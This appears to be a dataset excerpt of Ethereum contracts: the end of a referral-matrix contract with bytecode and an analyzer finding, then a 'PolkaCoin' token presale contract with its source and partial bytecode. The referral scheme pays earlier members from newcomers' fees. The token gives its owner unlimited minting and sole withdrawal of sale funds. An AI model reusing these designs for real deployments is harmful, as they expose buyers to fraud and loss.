getAmountOfUsers(0); info[1] = getDaysSinceStart(); return info; } function getInfo2(address account) external view returns(uint256[] memory) { uint256[] memory info = new uint256[](2); info[0] = getUserAmountOfPartners(account); info[1] = getUserProfit(account); return info; } function getInfo3(address account) external view returns(address[] memory, uint256[] memory) { address[] memory partners = getUserPartners(account); uint256[] memory stages = new uint256[](partners.length); for (uint256 i = 0; i < partners.length; i++) { stages[i] = getUserLevel(partners[i]); } return (partners, stages); } function getInfo4(address account) external view returns(uint256[] memory, uint256[] memory) { uint256[] memory reinvests = getUserStages(account); uint256[] memory progress = new uint256[](4); for (uint8 i = 0; i < 4; i++) { address[] memory referrals; if (reinvests[i] > 0) { referrals = getStructure(account, i, 1); } for (uint256 l = 0; l < referrals.length; l++) { if (referrals[l] != address(0)) { progress[i]++; } } progress[i] = progress[i] * 10000 / (64 / 2**(uint256(i)) - 1); } return (reinvests, progress); } }
0x6080604052600436106101d15760003560e01c806370293439116100f7578063c50c7bbc11610095578063ea6e1fb811610064578063ea6e1fb81461081f578063ed42410514610861578063f0d5ea1e14610876578063ffac00e4146108a9576101e0565b8063c50c7bbc1461076f578063c65c779f14610795578063cf70e27b146107d7578063ddca3f431461080a576101e0565b80638da5cb5b116100d15780638da5cb5b146106995780639c230967146106ca578063a035b1fe146106f7578063c3c5a54714610728576101e0565b806370293439146105ef578063796154bc146106045780638269671b14610637576101e0565b806349aca00c1161016f57806362afafba1161013e57806362afafba1461051e57806367f168831461055a57806368c5029a146105965780636f9fb98a146105da576101e0565b806349aca00c1461041e578063520ab54d146104515780635964c24214610484578063610421b8146104de576101e0565b806321923bde116101ab57806321923bde1461033e578063384e1275146103715780633b05b72f146103f45780633ccfd60b14610409576101e0565b806306a6ba28146101e857806317f854701461023657806319feb95e14610302576101e0565b366101e0576101de6108dc565b005b6101de6108dc565b3480156101f457600080fd5b506102246004803603604081101561020b57600080fd5b5080356001600160a01b0316906020013560ff16610a36565b60408051918252519081900360200190f35b34801561024257600080fd5b506102696004803603602081101561025957600080fd5b50356001600160a01b0316610aeb565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156102ad578181015183820152602001610295565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102ec5781810151838201526020016102d4565b5050505090500194505050505060405180910390f35b34801561030e57600080fd5b506102246004803603604081101561032557600080fd5b5080356001600160a01b0316906020013560ff16610c27565b34801561034a57600080fd5b506102246004803603602081101561036157600080fd5b50356001600160a01b0316610c57565b34801561037d57600080fd5b506103a46004803603602081101561039457600080fd5b50356001600160a01b0316610cb1565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103e05781810151838201526020016103c8565b505050509050019250505060405180910390f35b34801561040057600080fd5b506103a4610d1e565b34801561041557600080fd5b506101de610d8b565b34801561042a57600080fd5b506103a46004803603602081101561044157600080fd5b50356001600160a01b0316610ea6565b34801561045d57600080fd5b506102246004803603602081101561047457600080fd5b50356001600160a01b0316610f1f565b34801561049057600080fd5b506104b7600480360360208110156104a757600080fd5b50356001600160a01b0316610f3d565b6040805193845260208401929092526001600160a01b031682820152519081900360600190f35b3480156104ea57600080fd5b506105086004803603602081101561050157600080fd5b5035611133565b6040805160ff9092168252519081900360200190f35b34801561052a57600080fd5b506102246004803603604081101561054157600080fd5b5080356001600160a01b0316906020013560ff16611164565b34801561056657600080fd5b506103a46004803603604081101561057d57600080fd5b5080356001600160a01b0316906020013560ff16611194565b3480156105a257600080fd5b50610224600480360360608110156105b957600080fd5b506001600160a01b038135169060ff6020820135811691604001351661121b565b3480156105e657600080fd5b5061022461125c565b3480156105fb57600080fd5b50610508611260565b34801561061057600080fd5b506103a46004803603602081101561062757600080fd5b50356001600160a01b0316611269565b34801561064357600080fd5b506106736004803603604081101561065a57600080fd5b5080356001600160a01b0316906020013560ff166112d1565b604080516001600160a01b03938416815291909216602082015281519081900390910190f35b3480156106a557600080fd5b506106ae61132b565b604080516001600160a01b039092168252519081900360200190f35b3480156106d657600080fd5b50610224600480360360208110156106ed57600080fd5b503560ff1661133a565b34801561070357600080fd5b5061070c611355565b604080516001600160801b039092168252519081900360200190f35b34801561073457600080fd5b5061075b6004803603602081101561074b57600080fd5b50356001600160a01b0316611364565b604080519115158252519081900360200190f35b6101de6004803603602081101561078557600080fd5b50356001600160a01b0316611391565b3480156107a157600080fd5b506106ae600480360360608110156107b857600080fd5b506001600160a01b038135169060ff60208201351690604001356116ad565b3480156107e357600080fd5b50610269600480360360208110156107fa57600080fd5b50356001600160a01b031661171d565b34801561081657600080fd5b5061070c6117a4565b34801561082b57600080fd5b506103a46004803603606081101561084257600080fd5b506001600160a01b038135169060ff60208201351690604001356117ba565b34801561086d57600080fd5b50610224611a2c565b34801561088257600080fd5b506102246004803603602081101561089957600080fd5b50356001600160a01b0316611a63565b3480156108b557600080fd5b506106ae600480360360408110156108cc57600080fd5b5060ff8135169060200135611a81565b346108ee576108e9610d8b565b610a34565b6001546001600160801b031634106109f5576001546001600160801b031634111561094e5760015460405133916001600160801b0316340380156108fc02916000818181858888f1935050505015801561094c573d6000803e3d6000fd5b505b61095733611364565b6109a8576109a361099e6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611ab092505050565b611391565b6108e9565b6040805162461bcd60e51b815260206004820152601a60248201527f55736572206973207265676973746572656420616c7265616479000000000000604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742076616c756560881b604482015290519081900360640190fd5b565b60ff811660008181526006602090815260408083206001600160a01b038781168552600584528285209585526004909501835281842054600202600190810185520190915281205490911615610a8e57506002610ae5565b60ff821660008181526006602090815260408083206001600160a01b03888116855260058452828520958552600490950183528184205460020284526001019091529020541615610ae157506001610ae5565b5060005b92915050565b6060806060610af984611269565b60408051600480825260a08201909252919250606091906020820160808038833901905050905060005b60048160ff161015610c1c5760606000848360ff1681518110610b4257fe5b60200260200101511115610b5f57610b5c878360016117ba565b90505b60005b8151811015610bc15760006001600160a01b0316828281518110610b8257fe5b60200260200101516001600160a01b031614610bb957838360ff1681518110610ba757fe5b60209081029190910101805160010190525b600101610b62565b5060018260ff1660020a604081610bd457fe5b0403838360ff1681518110610be557fe5b60200260200101516127100281610bf857fe5b04838360ff1681518110610c0857fe5b602090810291909101015250600101610b23565b509092509050915091565b6001600160a01b038216600090815260056020908152604080832060ff8516845260040190915290205492915050565b600060015b60038160ff1611610ca4576001600160a01b038316600090815260056020818152604080842060ff808716865293019091529091205416610c9c57610ca4565b600101610c5c565b6000190160ff1692915050565b604080516002808252606080830184529283929190602083019080388339019050509050610cde83611a63565b81600081518110610ceb57fe5b602002602001018181525050610d0083610f1f565b81600181518110610d0d57fe5b602090810291909101015292915050565b604080516002808252606080830184529283929190602083019080388339019050509050610d4c600061133a565b81600081518110610d5957fe5b602002602001018181525050610d6d611a2c565b81600181518110610d7a57fe5b602090810291909101015290505b90565b6000610d9633610f1f565b905060008111610de6576040805162461bcd60e51b8152602060048201526016602482015275155cd95c881a185cc81b9bc81c1c9bd99a5d081e595d60521b604482015290519081900360640190fd5b6002610df133611a63565b1015610e2e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f296023913960400191505060405180910390fd5b336000818152600560205260408082206003018290555183156108fc0291849190818181858888f19350505050158015610e6c573d6000803e3d6000fd5b5060408051828152905133917f6fb24f3ad0678f9d138e80b17293be051d87911eb34e9e60f0d1b9c3805e885a919081900360200190a250565b6001600160a01b038116600090815260056020908152604091829020600101805483518184028101840190945280845260609392830182828015610f1357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ef5575b50505050509050919050565b6001600160a01b031660009081526005602052604090206003015490565b6000806000610f4b84611364565b610f9c576040805162461bcd60e51b815260206004820152601a60248201527f55736572206973206e6f74207265676973746572656420796574000000000000604482015290519081900360640190fd5b6002610fa9856000610a36565b101561100357610fba846000610a36565b6001600160a01b03851660009081526005602090815260408083208380526004019091528120546002029190910190610ff4908690610a36565b6001018592509250925061112c565b6001600160a01b0384166000908152600560209081526040808320600280820154858052600490920190935290832054909450029083906001905b8215611070578160020a83106110665760029384029382900a9092039160019091019061106b565b600092015b611127565b8160020a8401818501101561111a5783810160009081527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f960205260409020546001600160a01b031661110e576002930192830460009081527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f960205260409020549295505050600192909201916001600160a01b0316905061112c565b60019586019501611127565b5060029092029160010160005b61103e565b9193909250565b6004818154811061114057fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6001600160a01b0391909116600090815260056020818152604080842060ff958616855290920190529020541690565b606060008260050360ff1690506060816040519080825280602002602001820160405280156111cd578160200160208202803883390190505b50905060005b82811015611212576111e68686836116ad565b8282815181106111f257fe5b6001600160a01b03909216602092830291909101909101526001016111d3565b50949350505050565b6001600160a01b038316600090815260056020908152604080832060ff808716855260069091018352818420858216855290925290912054165b9392505050565b4790565b60035460ff1681565b60408051600480825260a082019092526060918291906020820160808038833901905050905060005b60048160ff1610156112ca576112a88482611164565b828260ff16815181106112b757fe5b6020908102919091010152600101611292565b5092915050565b60ff1660008181526006602090815260408083206001600160a01b03958616845260058352818420948452600490940182528083205460020280845260019485019092528083205493909101825290205490821692911690565b6000546001600160a01b031681565b60ff1660009081526006602052604090205463ffffffff1690565b6001546001600160801b031681565b6001600160a01b03166000908152600560208181526040808420848052909201905290205460ff16151590565b61139a33611364565b156113ec576040805162461bcd60e51b815260206004820152601a60248201527f55736572206973207265676973746572656420616c7265616479000000000000604482015290519081900360640190fd5b6113f581611364565b6114305760405162461bcd60e51b815260040180806020018281038252602c815260200180611f4c602c913960400191505060405180910390fd5b6001546001600160801b0316341461148f576040805162461bcd60e51b815260206004820181905260248201527f56616c7565206d75737420626520657175616c20746f20746865207072696365604482015290519081900360640190fd5b336000908152600560205260408082206007546001549251919385936001600160a01b03909216926108fc600160801b9093046001600160801b03168015939093029291818181858888f193505050501580156114f0573d6000803e3d6000fd5b507f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8805463ffffffff198116600163ffffffff9283168101909216179091556001600160a01b0382166000908152600560209081526040822083018054938401815582529020018054336001600160a01b031990911617905560035460ff1661157882611a63565b14156115b3576040516001600160a01b038216907f4af5b3472463228aef0d28a90f6e3708febdb1f003a19fcf5915eacdcf965fdf90600090a25b81546001600160a01b0319166001600160a01b038216178255600080806115d984610f3d565b6001600160a01b03808816600090815260056020908152604080832060020186905582805260048c0182528083208790558683527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f982529182902080546001600160a01b031916339081179091558b5460015484516001600160801b0390911681529351979a509598509396508287169594909216937f68feefd06f30295670d67afa4271f7e75c938c1891b8158531313ff352377270929181900390910190a46116a5336000611ab7565b505050505050565b60ff821660008181526006602090815260408083206001600160a01b038816845260058352818420948452600490940190915281205490916001908101918391850160020a90816116fa57fe5b0481526020810191909152604001600020546001600160a01b0316949350505050565b606080606061172b84610ea6565b90506060815160405190808252806020026020018201604052801561175a578160200160208202803883390190505b50905060005b8251811015610c1c5761178583828151811061177857fe5b6020026020010151610c57565b82828151811061179157fe5b6020908102919091010152600101611760565b600154600160801b90046001600160801b031681565b606060048360ff161061180a576040805162461bcd60e51b8152602060048201526013602482015272496e76616c69642073746167652076616c756560681b604482015290519081900360640190fd5b600082118015611849575060048360ff168154811061182557fe5b60009182526020918290209181049091015460ff601f9092166101000a9004168211155b611890576040805162461bcd60e51b8152602060048201526013602482015272496e76616c696420726f756e642076616c756560681b604482015290519081900360640190fd5b600060018460ff1660020a6040816118a457fe5b040390506060816040519080825280602002602001820160405280156118d4578160200160208202803883390190505b506001600160a01b038716600090815260056020818152604080842060ff808c168652930190915290912054919250168411156119145791506112559050565b6001600160a01b038616600090815260056020908152604080832060ff8916845260040190915281205490805b84821015611a1f5760005b8160020a811015611a165760ff808a166000818152600660209081526040808320600288900a8a02870180855260019091018352818420546001600160a01b031684526005808452828520958552949094019091529020549091168911611a095760ff8a16600090815260066020908152604080832084845260010190915290205486516001600160a01b03909116908790869081106119e857fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b506001928301920161194c565b50600101611941565b5091979650505050505050565b600754600090600160a01b900463ffffffff1615610d88576007546201518090600160a01b900463ffffffff164203049050610d88565b6001600160a01b031660009081526005602052604090206001015490565b60ff9190911660009081526006602090815260408083209383526001909301905220546001600160a01b031690565b6014015190565b6001600160a01b038216600081815260056020818152604080842060ff80881680875291909401835293819020805480851660010190941660ff1990941693909317909255815192835290517f802006efd267e7b177f7c59009d9268a029f17854634c68427193174e752f1a49281900390910190a2600060028260ff1681548110611b3f57fe5b90600052602060002090600291828204019190066010029054906101000a90046001600160801b03166001600160801b0316905060008260ff1660020a604081611b8557fe5b6001600160a01b038616600090815260056020818152604080842060ff808b168652930190915282205493909204935091169080806001841415611bf75760038760ff161015611be2576004850492506001830386029150611bed565b600092508560030291505b5060018201611c4c565b6000925085915060048760ff1681548110611c0e57fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff168460ff161015611c48575060016004850401611c4c565b5060005b6000611c5f89898a60040360ff166116ad565b90506001600160a01b03811615801590611c8757506007546001600160a01b03828116911614155b15611ef9576001600160a01b038116600090815260056020908152604080832060ff8c811685526006909101835281842089821685529092529091208054808316600101831660ff19909116179081905516841415611d6a57600188810160ff81166000818152600660209081526040808320805463ffffffff19811663ffffffff91821689018216178083556001600160a01b038a1680875260058652848720978752600490970185528386209082169055815416845290950190529290922080546001600160a01b031916909217909155611d65908290611ab7565b611ef4565b6001600160a01b038116600090815260056020908152604080832060ff808d1685526006909101835281842089821685529092529091205416821415611db457611d658189611ab7565b8460ff166001148015611e0157506001600160a01b038116600090815260056020908152604080832060ff8c81168552600690910183528184208982168552909252909120541660028704145b15611e79576001600160a01b03808216600081815260056020908152604091829020600301805488019055815160ff808e1682528a16918101919091528082018790529051928c16927fcd663af660ee3c2104fda68576df33526b9ef5a91971e15e9d169a5119aed0aa9181900360600190a3611ef4565b60018560ff161115611ef4576001600160a01b03808216600081815260056020908152604091829020600301805488019055815160ff808e1682528a16918101919091528082018790529051928c16927fcd663af660ee3c2104fda68576df33526b9ef5a91971e15e9d169a5119aed0aa9181900360600190a35b611f1d565b6007546001600160a01b031660009081526005602052604090206003018054880190555b50505050505050505056fe5573657220646964206e6f7420696e76697465203220726566657272616c732079657455736572206d7573742070726f7669646520616e206163746976652072656665727265722061646472657373a26469706673582212209fcdf82f1e8d023c3ba680b524a4921415527de277f377d7a93e690172ab353364736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,631
0x73fce158aa84d2584096d23d4eb5721c5b08781d
/* ____ _ _ ____ _ | _ \ ___ | | | ____ _ / ___|___ (_)_ __ | |_) / _ \| | |/ / _` | | / _ \| | '_ \ | __/ (_) | | < (_| | |__| (_) | | | | | |_| \___/|_|_|\_\__,_|\____\___/|_|_| |_| (PKC) PolkaCoin is a cross-chain DeFi protocol that allows investors to participate in lending, staking, yield farming & liquidity project on different blockchains Website: https://polkacoin.io/ Twitter: https://twitter.com/polkacoin Telegram: https://t.me/polkacoin Medium: https://medium.com/@PolkaCoin PolkaCoin token sale price is 0.000049 ETH/PKC (20% discount from Uniswap listing) */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract PolkaCoin is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.000049 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("PolkaCoin.io", "PKC", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332